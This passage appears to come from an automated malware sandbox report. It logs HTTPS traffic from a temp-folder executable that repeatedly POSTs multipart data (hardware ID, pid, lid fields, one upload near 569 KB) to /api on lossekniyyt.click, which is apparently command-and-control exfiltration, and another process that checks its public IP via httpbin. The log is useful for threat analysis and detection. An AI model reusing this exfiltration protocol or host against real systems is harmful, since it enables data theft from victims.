                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC307INData Raw: 64 31 57 5a 48 4d 43 55 51 72 32 36 43 76 69 4a 74 69 30 31 50 56 79 31 4e 70 31 66 6d 47 4f 38 67 34 61 72 6b 32 68 47 75 36 43 56 4e 5a 77 70 6f 68 55 7a 37 4f 68 4b 47 56 67 78 7a 64 53 34 61 50 51 57 50 48 6c 64 6c 70 31 42 63 6e 39 69 62 36 63 39 73 4a 4c 51 2b 4a 31 48 51 4e 66 63 72 50 39 4e 6e 56 49 59 38 42 31 4e 34 46 4d 74 4c 35 2b 41 37 64 49 6d 36 6d 49 4b 30 6b 6f 6c 34 74 46 6f 6e 55 48 77 4d 30 33 35 53 39 6a 35 38 79 6d 6c 50 74 6b 31 4d 70 31 5a 2b 47 48 4d 67 6d 5a 37 45 78 71 32 62 46 42 6d 63 65 32 59 73 78 54 48 32 57 7a 36 72 5a 79 6e 48 54 55 39 62 4d 55 32 6e 46 6c 5a 31 38 6d 48 38 35 35 44 6a 30 4d 71 49 47 4c 55 47 62 77 6d 5a 52 66 59 44 50 36 35 71 41 4d 4a 73 51 78 4e 35 55 44 36 76 67 33 43 54 4e 50 33 69 49 47 62 30 78 37
                                                                                                                                                                                                                                                            Data Ascii: d1WZHMCUQr26CviJti01PVy1Np1fmGO8g4ark2hGu6CVNZwpohUz7OhKGVgxzdS4aPQWPHldlp1Bcn9ib6c9sJLQ+J1HQNfcrP9NnVIY8B1N4FMtL5+A7dIm6mIK0kol4tFonUHwM035S9j58ymlPtk1Mp1Z+GHMgmZ7Exq2bFBmce2YsxTH2Wz6rZynHTU9bMU2nFlZ18mH855Dj0MqIGLUGbwmZRfYDP65qAMJsQxN5UD6vg3CTNP3iIGb0x7
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 32 62 66 31 0d 0a 72 52 53 72 4a 7a 2b 4c 5a 6c 47 4c 46 51 35 79 64 46 79 44 56 6e 35 5a 37 6b 48 30 36 34 58 66 6f 4e 4b 77 4a 4c 51 2b 4a 31 48 51 4e 66 63 72 50 39 4e 6e 56 49 59 38 42 31 4e 34 46 4d 74 4c 35 2b 41 66 4d 4c 6d 79 78 4e 2f 67 46 36 51 52 71 57 59 66 4d 4b 51 4e 6c 34 63 2f 6b 32 61 31 73 33 51 75 53 68 56 4d 45 6c 73 6e 49 4c 74 30 35 4a 4a 67 67 76 43 37 6c 41 43 38 33 77 70 67 68 41 33 4f 59 69 65 7a 42 77 6d 7a 64 46 38 4f 64 53 32 48 48 6e 4a 4e 36 6e 48 67 37 71 57 6d 6a 61 2f 52 51 4e 55 75 48 7a 44 51 44 5a 5a 6a 49 72 34 75 41 4a 4a 34 46 30 5a 6f 74 44 35 62 52 79 79 62 41 4b 56 65 49 43 62 63 71 34 52 34 76 4b 4e 2b 42 4e 6b 41 34 33 37 47 53 6c 35 55 32 6d 68 33 55 33 56 4e 2f 31 63 69 47 63 66 4a 6f 49 66 59 59 39 47 76 36
                                                                                                                                                                                                                                                            Data Ascii: 2bf1rRSrJz+LZlGLFQ5ydFyDVn5Z7kH064XfoNKwJLQ+J1HQNfcrP9NnVIY8B1N4FMtL5+AfMLmyxN/gF6QRqWYfMKQNl4c/k2a1s3QuShVMElsnILt05JJggvC7lAC83wpghA3OYiezBwmzdF8OdS2HHnJN6nHg7qWmja/RQNUuHzDQDZZjIr4uAJJ4F0ZotD5bRyybAKVeICbcq4R4vKN+BNkA437GSl5U2mh3U3VN/1ciGcfJoIfYY9Gv6
                                                                                                                                                                                                                                                            2024-12-19 00:09:33 UTC1369INData Raw: 72 62 64 68 45 69 6c 70 62 73 6a 39 4a 36 7a 31 32 53 7a 31 4e 70 31 59 44 46 4f 39 6b 75 61 71 41 6b 2f 52 58 63 4e 32 4d 65 79 4a 6f 32 54 6a 48 35 6a 4c 32 54 72 42 79 49 45 4e 7a 54 46 43 65 45 68 34 68 70 78 47 67 78 6a 32 66 79 61 39 31 65 4c 51 47 4a 31 47 5a 32 50 74 61 42 71 34 2b 44 62 37 6f 64 31 64 77 46 49 5a 6a 4c 35 79 72 61 49 69 6e 34 5a 37 78 72 75 6b 49 6a 57 63 32 64 5a 68 74 74 69 74 54 35 79 73 56 79 7a 77 79 63 78 46 4d 6e 31 5a 2b 55 5a 34 73 36 4b 65 35 6e 2f 53 6a 77 41 6d 73 61 33 34 39 68 66 51 50 39 6d 4b 2b 4a 6c 43 47 6a 4c 66 6e 52 46 54 61 50 77 4d 41 50 36 32 67 6e 39 69 6a 36 63 39 74 51 4a 56 6e 32 77 6d 5a 62 66 59 44 50 6d 5a 71 63 4c 4a 6f 46 77 35 41 32 4a 70 62 58 77 43 71 4c 5a 69 6d 77 5a 2b 4a 37 72 46 42 70 43
                                                                                                                                                                                                                                                            Data Ascii: rbdhEilpbsj9J6z12Sz1Np1YDFO9kuaqAk/RXcN2MeyJo2TjH5jL2TrByIENzTFCeEh4hpxGgxj2fya91eLQGJ1GZ2PtaBq4+Db7od1dwFIZjL5yraIin4Z7xrukIjWc2dZhttitT5ysVyzwycxFMn1Z+UZ4s6Ke5n/SjwAmsa349hfQP9mK+JlCGjLfnRFTaPwMAP62gn9ij6c9tQJVn2wmZbfYDPmZqcLJoFw5A2JpbXwCqLZimwZ+J7rFBpC


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            2192.168.2.549868104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:35 UTC278OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=SJDTX5XM1ZCB2
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 12800
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:35 UTC12800OUTData Raw: 2d 2d 53 4a 44 54 58 35 58 4d 31 5a 43 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 4a 44 54 58 35 58 4d 31 5a 43 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 4a 44 54 58 35 58 4d 31 5a 43 42 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 53 4a 44 54 58 35 58 4d 31 5a 43 42 32 0d 0a 43
                                                                                                                                                                                                                                                            Data Ascii: --SJDTX5XM1ZCB2Content-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--SJDTX5XM1ZCB2Content-Disposition: form-data; name="pid"2--SJDTX5XM1ZCB2Content-Disposition: form-data; name="lid"9Z1cyc----SJDTX5XM1ZCB2C
                                                                                                                                                                                                                                                            2024-12-19 00:09:36 UTC1040INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:36 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=ajsguf58h7smq6h0jo14db7pr0; expires=Sun, 13-Apr-2025 17:56:14 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2efFtKyfTCyqywdBYaPsCB5IGt4MeALPiey7acI%2BPExQGk5xV5Mqm3ddRZOHzeoNykK8y7fNa4KBLifqheQ7PO9uyjelDvzn5dXBoBPP1LEAS3b0D4ErnviiuQbiiZAmXreR7Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a2dbb187c82-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2043&min_rtt=2037&rtt_var=777&sent=11&recv=17&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13736&delivery_rate=1397129&cwnd=212&unsent_bytes=0&cid=ba8c49366bae8a69&ts=814&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:36 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:36 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            3192.168.2.549874104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:37 UTC283OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=ELT7OWW7FQXOFLE832
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 15072
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:37 UTC15072OUTData Raw: 2d 2d 45 4c 54 37 4f 57 57 37 46 51 58 4f 46 4c 45 38 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 4c 54 37 4f 57 57 37 46 51 58 4f 46 4c 45 38 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4c 54 37 4f 57 57 37 46 51 58 4f 46 4c 45 38 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 45
                                                                                                                                                                                                                                                            Data Ascii: --ELT7OWW7FQXOFLE832Content-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--ELT7OWW7FQXOFLE832Content-Disposition: form-data; name="pid"2--ELT7OWW7FQXOFLE832Content-Disposition: form-data; name="lid"9Z1cyc----E
                                                                                                                                                                                                                                                            2024-12-19 00:09:38 UTC1043INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:38 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=a8i59mc2fiko1ibp4u1rrufvci; expires=Sun, 13-Apr-2025 17:56:16 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8w42fcritQbLU8hPvIY4IXwLA3XHV%2Bp3NYABH4iQd18gOSdeWL9vIe5sQuZZTowqMy3tcD9E1quxRzzlwuUtFBLvpEUBSjyhgz%2FWy%2FtVXAN7tireYlaT9rbG1DxJfgqC8URoqg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a3a4e254219-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1766&rtt_var=791&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2841&recv_bytes=16013&delivery_rate=1653454&cwnd=193&unsent_bytes=0&cid=4861672bbc78078c&ts=788&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:38 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:38 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            4192.168.2.549879104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:39 UTC284OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=BLUGFGEK3GQ9GP3E5D5
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 20568
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:39 UTC15331OUTData Raw: 2d 2d 42 4c 55 47 46 47 45 4b 33 47 51 39 47 50 33 45 35 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 4c 55 47 46 47 45 4b 33 47 51 39 47 50 33 45 35 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 4c 55 47 46 47 45 4b 33 47 51 39 47 50 33 45 35 44 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: --BLUGFGEK3GQ9GP3E5D5Content-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--BLUGFGEK3GQ9GP3E5D5Content-Disposition: form-data; name="pid"3--BLUGFGEK3GQ9GP3E5D5Content-Disposition: form-data; name="lid"9Z1cyc--
                                                                                                                                                                                                                                                            2024-12-19 00:09:39 UTC5237OUTData Raw: 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii: 6vMMZh'F3Wun 4F([:7s~X`nO
                                                                                                                                                                                                                                                            2024-12-19 00:09:40 UTC1053INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:40 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=g1cbo5hedmlcfb8ct6qmjctr7u; expires=Sun, 13-Apr-2025 17:56:19 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CRTq9jnLZI0UsyufGjH1ttT8I4uG30Z2oytrDhKDFp3T1drKkjEn%2FwQnuyW6gCGv%2Fx7O%2FFN2C7qWE%2Fc6n9ynKfPN031Ba4DsB%2B5kSRa9OLffamN%2BjrN%2B7l5di8AIc9jrBMzmhQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a472f19c3eb-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1535&min_rtt=1522&rtt_var=597&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=21532&delivery_rate=1793611&cwnd=240&unsent_bytes=0&cid=775f51e68eabafd8&ts=1177&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:40 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:40 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            5192.168.2.549886104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:42 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=4SENCTUIFMA7ARQA
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 1244
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:42 UTC1244OUTData Raw: 2d 2d 34 53 45 4e 43 54 55 49 46 4d 41 37 41 52 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 53 45 4e 43 54 55 49 46 4d 41 37 41 52 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 53 45 4e 43 54 55 49 46 4d 41 37 41 52 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 34 53 45 4e 43 54 55
                                                                                                                                                                                                                                                            Data Ascii: --4SENCTUIFMA7ARQAContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--4SENCTUIFMA7ARQAContent-Disposition: form-data; name="pid"1--4SENCTUIFMA7ARQAContent-Disposition: form-data; name="lid"9Z1cyc----4SENCTU
                                                                                                                                                                                                                                                            2024-12-19 00:09:43 UTC1046INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:42 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=p1mth89elr7ga4gkog13grdaa6; expires=Sun, 13-Apr-2025 17:56:21 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BS3GSdpAY4%2BLXPpdAmXdfh7ZIMrjmg0qzOcmuijy7tPZ2minuwROgR%2ByyxMcJTqYjFdRG4vX%2BWODtLGETQ9sfFd6EhtxQmLudBSvivFzWJ6gv29M%2BZmOTSdIKAKHcY0maVoKtw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a572b5cde9a-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1546&rtt_var=585&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2160&delivery_rate=1861057&cwnd=209&unsent_bytes=0&cid=fa03f16236543385&ts=1021&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:43 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:09:43 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            6192.168.2.54989134.226.108.1554433872C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC52OUTGET /ip HTTP/1.1
                                                                                                                                                                                                                                                            Host: httpbin.org
                                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC224INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:44 GMT
                                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Server: gunicorn/19.9.0
                                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                            Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                                                                                                                                                                                                                            Data Ascii: { "origin": "8.46.123.189"}


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            7192.168.2.549895104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC280OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=5L5HGAIJ2QZ7ZM
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 569179
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 2d 2d 35 4c 35 48 47 41 49 4a 32 51 5a 37 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 4c 35 48 47 41 49 4a 32 51 5a 37 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 4c 35 48 47 41 49 4a 32 51 5a 37 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 35 4c 35 48 47 41 49 4a 32 51 5a 37 5a
                                                                                                                                                                                                                                                            Data Ascii: --5L5HGAIJ2QZ7ZMContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--5L5HGAIJ2QZ7ZMContent-Disposition: form-data; name="pid"1--5L5HGAIJ2QZ7ZMContent-Disposition: form-data; name="lid"9Z1cyc----5L5HGAIJ2QZ7Z
